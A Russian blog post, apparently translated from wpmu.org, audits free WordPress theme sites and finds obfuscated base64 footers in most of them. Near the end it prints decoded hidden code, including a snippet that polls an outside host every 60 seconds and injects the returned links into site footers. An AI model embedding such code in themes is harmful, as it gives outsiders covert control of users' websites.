Реклама




Счетчики






Сайт, форум, блог

Создание, поддержка, продвижение

Все еще ищете бесплатные темы для WordPress?


Зиобан Амброуз
Я уже писала пост, о том как найти бесплатные темы для Wordpress. Если вы дочитаете данный материал до конца, то, возможно, согласитесь, что повод для беспокойства у охотников за бесплатными темами все же есть (здесь можно почитать о том, где находят отличные бесплатные темы).

Пару месяцев назад я писала о проблемах безопасности в Wordpress, а сегодня хочу совершить экскурс на первую страницу результатов Google, вооружившись только ключевыми фразами «бесплатные темы Wordpress» «builtBackwards», «плагин Theme Authenticity Checker» и Exploit Scanner.

1

NB: Я не инсталлирую ни одну из этих тем на мой сервер. Вместо этого я установила xampp и WordPress работает локально на моем компьютере.
Вообще, не рекомендую устанавливать темы с левых вебсайтов себе на сервер. Никогда не знаешь, что можно там подхватить…

2

1. WordPressThemesBase

WordPress Themes Base – это счастливчик среди подобный ему сайтов по запросу «бесплатные темы Wordpress», потому, что появляется на первом месте. Явно владельцы хорошо потрудились над оптимизацией сайта! Короткое описание внизу свидетельствует, что в отличие от других сборников бесплатных тем WordPress, Themes Base предлагает только самые свежие темы.
Я скачала темку под названием Prinz Branford Magazine и сразу же столкнулась с проблемой. Prinz Branford Magazine – тема, разработанная автором der Prinz и является устаревшей версией, не совместимой даже с WordPress 3.0. Имеется также версия Pro, которая была выпущена в конце прошлого года. Это значит, что мы имеем дело с темой, которая либо нормально не работает, либо является рекламой для профессиональной платной версии.
Итак, первое, что надо сделать после установки темы – прогнать ее через TAC.

3

Найден зашифрованный код! Первый попавшийся на Google сайт и мы уже сразу видим base64, который обычно применяется для сокрытия ссылок, функций, кодов. В данном случае, base64 находится в подвале темы. Посмотрите:

4

Но что же прячет этот самый base64…

5…много букаф.

Расшифровать код base64 можно двумя способами:

1.Попробуйте декодер Отто – очень помогает!
2.Также можно расшифровать код вручную – измените eval() на echo(), чтобы сделать явным все, что было скрыто. Для более подробных инструкций почитайте этот пост.

Я решила запастись терпением и пойти по второму пути. Заменив eval() на echo(), мой подвал стал выглядеть так:

6

Нифигасе! Минуту назад я видела только копирайт! А теперь появилось какое-то сообщение о бесплатных антивирусах. Откуда все это взялось? Вот, оказывается, что пряталось за кодом base64!

Вердикт:

Я скачала еще две темы с этого сайта и оказалось, что все они содержали base64. Этот код не всегда скрывает ссылки, иногда под ним может оказаться вирус. Итак, первый сайт из SERPа содержит темы с кодом base64. Я списалась с владельцем сайта, Майклом Озером (Michael Oeser), и прямо спросила его о проблемах с темой Prinz Branford Magazine. Он ответил, что безуспешно пытался связаться с разработчиком темы на предмет удаления кода base64. Кроме того, он выложил предупреждение на собственном блоге о том, как опасно скачаивать пиратские темы. Итак, даже владелец WordPress Themes Base советует нам остерегаться таких сайтов как его собственный. Хороший совет!

Мое предложение:

Избегать!

2. Бесплатные WordPress Themes

Следующий сайт, предлагающий WP темы – это freewordpressthemes.com. Итак, первая тема, которая мне нравится, называется BeautyStore (салон красоты). Скачиваю ее и прогоняю через TAC.

7

И снова куча зашифрованных кодов!!!
Посмотрите на подвал:

8

Как для салона красоты, то слишком много некрасивого кода. Огромное количество зашифрованных функций. Изменив eval() на echo(), я не увидела никаких появившихся кодов. Несколько декодеров, через которые я пропустила эту тему, выдали мне какую-то непонятную информацию.
В любом случае, весь этот спрятанный код содержал что-то нехорошее:

9

Вердикт:

Вот уже второй сайт, найденный с помощью Google, который содержит темы с кодом base64. Я скачала еще несколько тем, содержащих статичные ссылки, но на этот раз без base64. По крайней мере, на первом сайте мне удалось найти темы и расшифровать заключенный в них код. Порывшись на нескольких форумах, я узнала, что то, что мне не удалось расшифровать, скорее всего, используется в хакерских целях.

Мое предложение:

Избегать!

3. Темы 2WP

Просматривая темы на Themes2WP, я нашла несколько очень неплохих. Вот, например, Gameliso, которая выглядит, как прекрасная журнальная тема.

10Проверка на ссылки выдала результат: 5 статичных ссылок. Но статичные ссылки не проблема, правда? Вот они?

11

Ну, я не знаю как вы, а я считаю, что сайт знакомств или ветеринарных услуг имеет что-то общее с дизайном сайтов. Давайте посмотрим на код в файле footer.php:

12

Перед вышеупомянутыми статичными ссылками мы находим следующее сообщение: «Пожалуйста не меняйте этот код, иначе ваш сайт может перестать работать!». Очень полезная информация!!! Я только что хотела удалить все эти ссылки, а, оказывается, после этого мой сайт накроется. Тьфу на на эти ссылки!
Но, подождите… я все-таки удалила ссылки, а мой сайт продолжает работать!

Вот вам еще один файл: sidebar.php

13

Смотрим на стили для ad_lnk:

14

Удивительно! Стили для ссылки, которая расположена непонятно где. Скорее всего, это программа, которая постит обратные ссылки.
Давайте теперь прогоним тему через exploit scanner.

15

В теме Gameliso найдены некоторые элементы функции eval(), которые, теоретически, могут содержать вирус или другой ненужный нам код.

Вердикт

Хорошая тема, но содержит пять статичных ссылок на левые сайты. Кроме того, автор темы утверждает, что удалив эти ссылки, пользователь рискует запороть весь сайт. Такое утверждение не совсем этично, учитывая то, что это неправда. Но неискушенный пользователь вряд ли рискнет удалять эти ссылки. Что касается функции eval(), то я не могу сказать ничего конкретного, поскольку, плохо знаю javascript (как и большинство средних пользователей WordPress). Возможно, эта функция и не содержит никакого вредоносного кода. Но…

Мое предложение

Избегать!

4. Бесплатные WPThemes

Предположив, что все сайты плохи, кроме WordPress.org, я была очень удивлена, когда нашла в одной (скачанной с раздела бесплатные WP Themes) из тем странные ссылки. Скачав около пяти тем с этого сайта, я удостоверилась, что левые ссылки были в каждой из них:

16Я так же обнаружила, что все эти ссылки так или иначе вели на Wordpress или Validator.w3, поэтому, меня сразу замучила совесть за то, что я так поспешно сделала свои выводы. Вот, что я нашла по теме Programme, прогнав ее через Theme Check Plugin (этот плагин тестирует вашу тему на предмет соответствия последней версии WP):

17

Куча ошибок! Я здесь привела только маленький список, потому, что полностью он не поместился в скриншот!

Вердикт

Возможно, не все темы из категории бесплатных соответствуют стандартам Wordpress, но по крайней мере в них не содержится никакого вредоносного кода и ссылок на левые сайты. Скорее всего, эти темы просто не будут работать так, как вы ожидаете, но по крайней мере в них нет ничего зловещего.

Мое предложение:

Можно использовать, но предварительно проверив, что работают все нужные вам функции.

5. WordPress.org

И наконец, WordPress.org! Мы все знаем и любим WordPress.org. Это самое лучшее место, где можно найти бесплатные темы. Единственная проблема, что все темы выглядят так, как будто были сделаны еще в позапрошлом столетии и многие из них уже устарели для Wordpress 3.0. В конце этого поста я привожу список сайтов, где можно поживиться бесплатными и качественными темами.

18

Вердикт

Можно полностью доверять.

Мое предложение:

6. Themes.Rock Kitty

На этом сайте была картинка кошки, играющей на гитаре, что моментально покорило мое сердце. На первой и второй темах не было никакого скрытого кода или рекламных ссылок, а вот на третьей…

19

Куча кода base64!

Заменив eval()s на echo() я получила сообщение следующего содержания:

20

А ссылки в подвале темы стали выглядеть вот так:

21

Exploit scanner выявил 17 предупреждений. И поскольку, я нашла только четыре открытые ссылки, значит, мы имеем дело еще и со скрытыми или чем-то еще, о чем я просто не знаю.

Вердикт

Пользуйтесь темами с этого сайта очень осторожно и обязательно проганяйте их через проверочные плагины. Иначе вы рискуете установить тему, которая запортит ваш сайт. Будьте внимательны!

Мое предложение

Избегать!

7. WP Themes Depot

Еще один сайт, предлагающий свежие, красивые и бесплатные WP темы – wpthemesdepot.com. На этот раз я решила проверить самую популярную тему, Нифертити, которая была скачана 980 раз. Прогнав ее через TAC я получила следующий зашифрованный код:

22Заменив eval() на echo(), я (опять) получила это сообщение:

23Там написано, что… все ссылки, находящиеся абсолютно безобидные и не противоречат семейным ценностям. Прямо не знаю, как избавиться от этого навязчивого кода. Вот такие ссылки я получила на выходе:

24

Я лично склоняюсь к тому, что любые ссылки, не важно противоречат они семейным ценностям или нет, не должны вставляться в виде зашифрованного кода.

Вердикт

Очередной сайт, предлагающий темы, напичканные base64. Одно дело, когда разработчик темы добавляет обратные ссылки на свой сайт, а другое – когда эти ссылки зашифрованы кодом base 64.

Мое предложение

Избегать!

8. WPRex

Скачав пять ссылок с сайта WPRex, оказалось, что первые две содержат спамовые статичные ссылки, а три следующие – скрытый код base64.

25

Это тема под названием Pink Desire. Чтобы выявить скрытый код, на этот раз я использовала декодер. И вот, что получилось…

26…как обычно, зашифрованные ссылки!

Вердикт

Если уже собираетесь скачивать темы с этой помойки, то проверяйте их с пристрастием!

Мое предложение

Избегать!

9. No Limits Web Design

У этого сайта название чуть отличается от остальных и я надеялась, что коллекция тем на нем тоже будет отличаться от других. Но, увы. Скачав одну из рекомендованных тем – Dark Night – и сразу же нашла код base64.

27Вместе с base64, я расшифровала функцию eval(str_rot13 (Здесь почитайте о том, что такое ROT13).
Вот полученные результаты:

28

То, что мы видим как лицензию, на самом деле (при замене eval на echo) является скрытым кодом:

function wp_code() { $default_link_text = «Default»; $link_host[] = «http://www.webspacehosting.com/wp_links/wp_links.php»; $link_host[] = «http://nolimitswebdesign.com/wp_links/wp_links.php»; $l = «»; foreach($link_host as $value) { if($file = @fopen($value.»?url=».get_bloginfo(’url’), «r»)) { while (!feof ($file)) { $line = fgets ($file); $l .= $line; } fclose($file); break; } else { if ($value == end($link_host)) { $l=$default_link_text; } } } return $l; } function check_wp_code_sidebar() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, «wp-admin») > 0 || substr_count($uri, «wp-login») > 0 ) { } else { $l=»"; $f = dirname(__file__) . «/sidebar.php»; $fd = fopen($f, «r»); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { die; } } } check_wp_code_sidebar();

Я попросила одного из наших спецов расшифровать этот код и вот, что у него получилось:

function wp_code() {

$default_link_text = «Default»;

$link_host[] = «http://www.webspacehosting.com/wp_links/wp_links.php»;

$link_host[] = «http://nolimitswebdesign.com/wp_links/wp_links.php»;

$l = «»;

foreach($link_host as $value) {

if($file = @fopen($value.»?url=».get_bloginfo(’url’), «r»)) {

while (!feof ($file)) {

$line = fgets ($file);

$l .= $line;

}

fclose($file);

break;

} else {

if ($value == end($link_host)) {

$l=$default_link_text;

}

}

}

return $l;

}

function check_wp_code_sidebar() {

$uri = strtolower($_SERVER["REQUEST_URI"]);

if(is_admin() || substr_count($uri, «wp-admin») > 0 || substr_count($uri, «wp-login») > 0 ) {

} else {

$l=»";

$f = dirname(__file__) . «/sidebar.php»;

$fd = fopen($f, «r»);

$c = fread($fd, filesize($f));

fclose($fd);

if (strpos($c, $l) == 0) { die; }

}

}

check_wp_code_sidebar();

Эта тема перемещает все ссылки в боковую колонку и в любом случае запарывает ваш сайт. Вот результат анализа плагина exploit scanner:

29

Вердикт

Очередной сайт, от которого надо держаться подальше.

Мое предложение

Избегать!

Уже близится конец, читатель!

10. Templates Browser

Последний сайт, анализ которого я хочу вам предложить – это Templates Browser. Порывшись в интернете, я нашла вот этот пост. Уже можно догадаться, о чем пойдет речь. Я скачала тему Dropshadow, созданную Брайаном Гарднером (которую уже нельзя скачать с того сайта, возможно, потому, что версия слишком устарела и стала несовместимой с WP 3.0). TAC нашел несколько статичных ссылок:

30

Статичные ссылки в подвале содержат кучу PHP. Оказалось, что скрытый код зазывает на какое-то онлайн-казино. Но присмотревшись ближе я увидела еще какой-то подозрительный код, после чего попросила нашего спеца расшифровать его. Вот, что получилось:

1.    get_col(»SELECT option_value FROM $wpdb->options WHERE option_name=’l_time_code’»);
3.    $l_code = $wpdb->get_col(»SELECT option_value FROM $wpdb->options WHERE option_name=’l_code’»);
4.
5.    if (empty($l_time_code)) {
6.            $wpdb->query(»INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES (’l_time_code’, ‘0′, ‘no’)»);
7.            $new_time_code = 0;
8.    } else
9.            $new_time_code = intval($l_time_code[0]);
10.
11.    if (empty($l_code)) {
12.            $wpdb->query(»INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES (’l_code’, ‘
‘, ‘no’)»);
13.            $new_l_code = ‘
‘;
14.    } else $new_l_code = $l_code[0];
15.
16.    if ( ( time() – $new_time_code ) >= 60 ) {
17.            $R39C188653EA53DBD6E3F1D3915EDAC0C = «com»;
18.            $R8088818E3E46A17C12F2EE42EB12D7AC = «1.»;
19.            $R7B934F06258B8BA3608E30CDE9EA1035 = «xpstatz»;
20.            $xps = «xps.»;
21.            $url = «$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C»;
22.            $page = «/».$xps.»php?h=» . urlencode($_SERVER['HTTP_HOST']) . «&u=» . urlencode($_SERVER['REQUEST_URI']);
23.
24.            //1.xpstatz.com/xps.php?h=host&u=uri
25.
26.            if (ini_get(’allow_url_fopen’)) {
27.                    $new_l_code = @file_get_contents(»http://» . $url . $page);
28.            }
29.            else {
30.                    $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($url, ‘80′, $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30);
31.
32.                    if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) {
33.                            @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60);
34.                            @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, «GET $page HTTP/1.1\r\n»);
35.                            @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, «Host: $url\r\n»);
36.                            @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, «Connection: Close\r\n\r\n»);
37.                            $new_l_code = «»;
38.                            while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) {
39.                                    $new_l_code .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024);
40.                            }
41.                            $new_l_code = trim(strstr($new_l_code, «\r\n\r\n»));
42.                    }
43.                    @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38);
44.            }
45.            if ( strpos($new_l_code, ‘[/]‘) ) {
46.                    $new_time_code = time();
47.                    $R54997E66281827CBC285597040554FCC = mysql_escape_string($new_l_code);
48.                    $wpdb->query(»UPDATE $wpdb->options SET option_value=$new_time_code WHERE option_name=’l_time_code’»);     $wpdb->query(»UPDATE $wpdb->options SET option_value=’$R54997E66281827CBC285597040554FCC’ WHERE option_name=’l_code’»);
49.    }
50.
51.    }
52.    if ( strpos($new_l_code, ‘[/]‘) ) {
53.            $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($new_l_code, ‘[]‘) + 2;
54.            $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($new_l_code, ‘[/]‘);
55.            echo substr($new_l_code, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57);
56.            $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1;
57.    }
58.    ?>

Из расшифрованного кода мне тоже мало, что понятно.
Но здесь мы видим функцию wp_options, которая каждые 60 секунд запрашивает код с какого-то другого сайта, а потом обновляет код и ссылки в таблице опций, после чего выводит все эти ссылки в подвале.
Короче говоря, разработчик применил более сложный метод, для того, чтобы достичь типичного результата – натыкать как можно больше левых ссылок.

Вердикт

Уже достаточно того, что мы нашли пост о сайте Templates Browser, описывающий его как содержащие вредоносное ПО. К этому еще добавьте тот факт, что на Templates Browser находится старая тема известного дизайнера WP, которую стырили и вживили туда скрытый код. Все эти манипуляции с кодом делаются для того, чтобы так или иначе получить контроль над вашим сайтом.

Мое предложение

Избегать!

Заключение

Итак, из десяти сайтов, оказавшихся на первой странице результатов поиска в Google, мы видим, что из них:

  • Безопасные: 1
  • Сомнительные: 1
  • Опасные: 8

8 из 10 сайтов содержат темы с кодом base64. Средний пользователь WordPress ни сном ни духом не ведает об этом коде и почти полностью доверяет Google. В результате, огромное количество блогеров скачивает бесплатные темы и невольно продвигает левые сайты за счет своих собственных.
Можно быть уверенными, что среднестатистический блогер забьет в Google вариацию на тему «бесплатные темы для WordPress» и получит в топе SERPа кучу спамовых сайтов со спамовыми темами. Ну, и далее по тексту.
Большинство тем с соответствующей директории в WordPress безнадежно устарели и выглядят как блоги в плохом смысле этого слова, но по крайней мере им можно доверять.

Достойные сайты с бесплатными темами:

Премиум темы с премиум сайтов:

На самом деле есть достаточное количество нормальных сайтов с достойными бесплатными темами, надо только хорошо поискать (но не с помощью ключевых слов «бесплатные WP темы»).
Совет: в названии белого сайта, предлагающего бесплатные WP темы, никогда не будет слова «WordPress». WordPress – это торговая марка и если в самой ссылке сайта уже нарушен копирайт, то что помешает этому же сайту разместить темы с вредоносным ПО. Вот что WordPress говорит по этому поводу.

Декодеры

Если вы хотите прогнать свою тему на наличие скрытого кода, используйте следующие инструменты (стырено отсюда):

Полезные плагины

Источник: http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/


Отзывов (2) на «Все еще ищете бесплатные темы для WordPress?»

  1. Ирина пишет:

    Благодарю.Для меня. как для новичка очень важны ваши рекомендации.

  2. David пишет:

    ia dumaiu nado pokorektirovat piratku no esli blog poidet na na to mojno i lizenziu kupit

Оставить отзыв